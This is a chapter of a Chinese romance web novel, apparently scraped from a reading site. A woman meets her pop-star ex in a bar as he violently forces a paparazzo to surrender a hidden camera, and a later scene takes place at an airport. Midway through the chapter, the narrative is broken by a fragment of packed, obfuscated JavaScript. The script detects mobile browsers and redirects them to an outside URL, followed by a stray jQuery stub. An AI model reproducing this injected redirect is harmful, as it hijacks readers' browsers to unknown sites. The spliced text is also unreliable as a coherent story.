70. 70
作品:《分手后前男友顶流了》 一股冰凉的隐痛从肋骨间升起,迅速贯穿程霏霏的全身。
她下意识地捂了捂心口。
江羽此刻就站在她身旁,两人的肩膀仅一拳之隔。
耳中嗡嗡作响,男子的骂声近在咫尺,可程霏霏什么也听不见,只能用尽力气,迫使自己将目光抬高了几分。
视线里是一缕蓬松的、缠绕着醉意的发梢。
发梢泛着冷漠的蓝调,随着主人的动作翘起一个傲娇的弧度。
而他的主人,面对时隔七年后突如其来的重逢,竟不见任何异色,甚至连一丝表情上的波动也没有。
就像是从未与她相识……或者说,压根没有认出她这个旧人。
程霏霏紧紧握拳,眼眶憋得通红,手脚冰凉无感,一颗心却酸得胀痛。那酸意顺着呼吸一路烧进嗓子眼,令她发不出声音,只剩暗暗抽搐的喘息。
她闭了闭眼,努力平复着汹涌的情绪。很快,世界终于再度清晰起来,嘈杂声不断涌向耳际,那名挨了打的男子竟然还在骂。
“江羽,你不就是个破明星,有什么了不起的!告诉你,爷爷我可是知名娱乐博主,跟拍你是给你脸!我随便说句话,在网上都是一呼百应!你得罪我,就是踢到了铁板,看我不把你搞臭!搞死!”
江羽的唇角勾了勾,露出几分饶有兴味的嘲弄:“我揍了你一拳,你的反击,就是回家发微博?”
“哈哈——”
头顶传来偷笑声。
程霏霏抬起头,这才注意到二楼竟然站了好几个人,应该是和江羽一起的朋友。
男子那张肥厚的脸涨得通红,磨了磨后槽牙,从口袋里掏出一个指甲盖大小的微型摄像机。
他盯住江羽,阴恻恻地笑:“你不就是为了这东西么?”
江羽不动声色地瞥了一眼那个黑色物体。
“你现在立刻给我下跪道歉,还来得及,要不然……等会儿本爷爷一个手抖,把里边的东西全部公之于众了,可怎么办呐?”
江羽唇边的弧度没有丝毫变化,茶色的眸子忽地漫起尖锐的冷沉。程霏霏知道,他生气了。
心下一惊,来不及思考,身体已经先于意识做出了反应——她一把攥住了江羽的衣角。
江羽向前的力道猛地顿住。
……我我我在做甚?
程霏霏难以置信地盯着自己的手,恨不得立刻给它剁掉——这随随便便就上手的毛病是怎么回事!
对方可是当红男明星诶,是她想摸就能摸的?不会告她非礼吧!
可是她已经上手了,下一步要怎么办?一直抓着吗?要不要放手?放手了他们会不会又打起来?
脑子里正在天人交战呢,突然,二楼那群人里有个人“噔噔噔”地跑了下来。
这么暗的酒吧内,此人依旧戴着墨镜,脖子上围了一块桌布,不伦不类地遮住半张脸,一看就是为了掩盖身份。
“我说狗仔兄弟,现在的活不好干,我们都理解。今天呢是我朋友包场,你混进来玩玩就罢了,怎么还偷拍呢,不够意思了哈!当然,我朋友一时冲动,给你打了,也有不对。我做个见证,让他给你赔个不是,你俩握手言和,相互抱一下,这事就算过去了,怎么样?”
“……”
现场陷入尴尬的寂静。
对面的男子似乎更加气愤了,而江羽则连个眼神也没有给他。
桌布男朝江羽靠过来,咬牙低语:“你想当法制咖就自己当去,别拉我下水!我跟官司俩字有血仇!你,立刻马上,跟这狗仔翻篇!”
说着话,目光轻轻一瞥,看到了站在江羽身侧的程霏霏。
陈嘉与微微一愣,不禁笑叹:“江城这地方,还真是钟灵毓秀啊……”
江羽带着薄怒的目光突然射过来,陈嘉与顿时觉得脖子后边凉飕飕。
又一阵脚步声响,一个年轻女孩也从二楼跑了下来,站在了程霏霏不远处。
女孩穿着缀满亮片的性感吊带裙,双颊一片微醺的红晕,柔软长发旖旎披散。
似是被吓坏了,她一双大眼睛扑簌簌地眨:“都是我不好,要不是我今天非要来这里玩,你们俩也不必为了我和别人打架——”
陈嘉与一愣:“话不能乱说,我可没打架,为你打架的人是江羽!”
说着,还用胳膊肘戳了戳他:“喂,跟你女朋友解释解释啊!”
江羽毫无反应,只盯着那只黑色的摄像机,周身像裹了一层阴翳的云。
陈嘉与讨了个没趣,讪讪地闭上了嘴。
程霏霏看向那个女孩——
就在今天中午,小闫还在聊最近热播的某个仙侠剧,甚至把里头的经典片段分享到了群里。程霏霏刚看完那女二号一身浴血慷慨就义,晚上就见到了活生生的演员本人。
童莺,上升期小花,另一重更为知名的身份,据某八卦娱乐号爆料,是歌手江羽目前正在交往的女朋友。
程霏霏也纳闷,自己这奔三的大脑,连个短篇新闻稿都记不全乎,又是怎么记得下娱乐圈这些鸡零狗碎的?
不过,她也大致搞明白了,今晚这一出,乃是“冲冠一怒为红颜”的剧情:胖子狗仔潜伏在酒吧里,拍到了小情侣卿卿我我的画面,江羽恼羞成怒,要求删除视频,一个没谈拢,就上手把人给打了?
思及此,程霏霏忍不住悄悄瞥了一眼身旁的人。
这么些年过去,竟是变得越来越沉不住气了。
不过也没什么奇怪的,以他如今的地位,遇到不顺意的事,再也用不着对任何人忍气吞声。
似乎感受到她的目光,江羽忽然偏头,看了过来。
这是今晚碰面后,两人的第一次对视。
程霏霏像是突然被这双眼睛攫住了神智,只觉得头脑一片空白,线条秀丽的嘴唇微张着,好似有千言万语哽在嗓子眼,却发不出声。
所有的欲说还休,只能化作目光里的一摊水,颤颤悠悠地倒映在对方的瞳仁里。
江羽微垂着视线,唇角小幅度一弯,荡出一个浅浅的、透着几分邪气的笑容。
他用只有两个人能听到的音量说:“还不放手?”
程霏霏这才意识到,自己竟然一直抓着他的衣摆。
手指好似被烫到了一般,她突然丢开那截被攥得出褶的衣角,连退好几步。想要离他远点,后背却撞到了童莺的胳膊。
“哎呦——”
“……不好意思。”程霏霏敛着眉眼,下意识地道歉。
前方的狗仔男却突然嗤了一声。
程霏霏觉得,他的视线在自己和童莺的方向肆无忌惮地扫过,露出一个阴险滑腻的笑:“江老师,喜欢这个妞啊?要不要我先替你验验货——”
程霏霏只觉得身侧一阵风起,江羽猛地上前,一把掐住男子的脖子,扣着他的后颈,将他整个脑袋压在了桌面上!
男子根本来不及反应,被压制得动弹不得,大声吼道:“你他妈放开我!”
陈嘉与沉了脸,想要上前拉架。江羽却丝毫不让,右手捞过桌上一瓶红酒,朝桌沿上一磕,“砰”地砸掉盖子,对着男子的嘴巴就往里灌。
鲜红的酒液顺着他肥厚的腮帮流进嘴里,又漫出来涌到桌子上,男子想要哇哇大叫却被呛了个结实。
“洗洗你这张臭嘴。”
江羽胳膊肘像铁杵一般压着人,将整瓶红酒倒了个精光。
桌上和地上都溢满了紫红色的液体,配合着男子止不住的呛咳,场面看着有一点血腥。
江羽倒空了酒,也不放手,捏着瓶身朝桌角狠劲一砸,瓶子瞬间断成两截,露出凸出的玻璃残片。
他拎着那截尖锐的碎片,抵在男子脑门上,眼看就要戳进他的眼睛。
“我耐心有限。”他的声线薄如残冰。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798890|147192||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>男子吓得浑身发抖,嗷嗷求饶:“我给!我给!”
手在兜里一通摸索,掏出刚才那个黑色的小方盒,哆哆嗦嗦地交了出去。
江羽终于松开了钳制,将手里的半截酒瓶一撂,摔在地上,一片碎玻璃渣。
他劈手夺过那个盒子,看也不看,丢进了旁边盛满了酒的杯子里。
几滴金黄的酒液飞溅出来,那枚小巧的黑盒沿着杯壁,缓缓沉了底,咕噜噜地吐着浅黄色的气泡。
*
一架红眼航班自帝都悄然起飞,降落在江城机场的时候,已经是午夜时分。
裴一舟拉着箱子走出航站楼,抬头望了一眼这久违的江城夜空。
领带早已经扯了下来,塞进上衣口袋,鼓鼓囊囊的一团。坐这么晚的航班,他是为数不多一身正装的人。
接机口只有零星几个等客的出租车司机。
好在他对这个机场颇为熟悉,绕过人行道,往停车场深处多走了几步,这才看到坐在车前盖上、一脸沮丧的祁小公子。
裴一舟笑了一下,正要上前,防窥车窗忽然降了下来,陈嘉与从车厢里冒出头,不耐烦地问:“你哥到底什么时候到?”
祁星一口吐出嘴里的口香糖:“别催了,我哥出现的时候,就是我命结束之时!”
陈嘉与皱起眉,这也等太久了吧?
实在无聊得很,陈嘉与歪靠在后座上,有一搭没一搭地和祁星聊天。
“诶,你说你,好歹也是个富二代,怎么给江羽这厮当起助理了?”
“你懂什么。”祁星默默翻了个白眼,“助理只是表象,实则我是羽哥的徒弟。我的梦想是当音乐人,不是当企业家。”
“呵,就你?你一不学无术、整天花天酒地的少爷,不去当情圣,改当音乐人了?”
祁星戳着酸疼的太阳穴,感觉今晚喝下去的酒精又重新上了头:“谢谢您,好汉不提当年矬!”
“本性难移。”陈嘉与很是不屑,想了想,还是好心劝他,“想学就换个人吧,别跟江羽,他那种纯粹的天赋派,不是你能模仿的类型。”
祁星无视他的提醒,冷哼道:“我羽哥和你这种半吊子可不一样!给他当徒弟,学到的全是创作的精髓,没那么多花里胡哨!”
“说谁半吊子呢?”陈嘉与的声音一下子拔高了好几度,炸毛了一般,“小爷我出道就是实力派!啧,就你这鉴赏功力,我看你再学一万年也出不了徒,早晚回家继承家业!”
祁星不服气:“那也比你强!有你哥在,你连家业也没得继承!”
陈嘉与环着胳膊,一边劝自己莫跟傻逼置气,一边不阴不阳地说:“现如今,圈子里谁不知道,风盛有位裴律啊?祁总对他,那是走到哪儿带到哪儿,风盛的大项目,哪个不经过他的手?人家只比你大两岁,有这么个权臣在,你个无兵无卒的空壳太子,真以为能坐得稳江山?”
这下,祁星居然不说话了。
陈嘉与等了半天,也没等来这小子的一句反驳,好奇地探出脑袋:“喂,生气了?”
祁星依旧坐在车前盖上,脑袋耷拉着,拖着一头卷毛,像一只无精打采的鹌鹑。
陈嘉与叹口气,刚想出声安慰他一下,听了半天墙角的裴一舟这才从柱子后面现了身,笑眯眯地出现在二人眼前。
祁星看到他,先是一愣,接着就像看见了主心骨,从车前盖上跳下来,朝着人飞奔而去。
“裴哥!怎么是你?”
裴一舟揽过他的肩膀,往车子的方向走:“祁总有要事走不开,这点小事,我来就行。”
祁星苦笑:“他肯定在想,我这个不争气的弟弟又给他惹祸了。”
“你还挺会替人背锅。”裴一舟摘下眼镜,有些疲惫地捏了捏鼻梁,“走,带我去见见那个抢人东西、动手打人、打完了也没清场,导致现在热搜满天飞的惹祸专业户吧。”

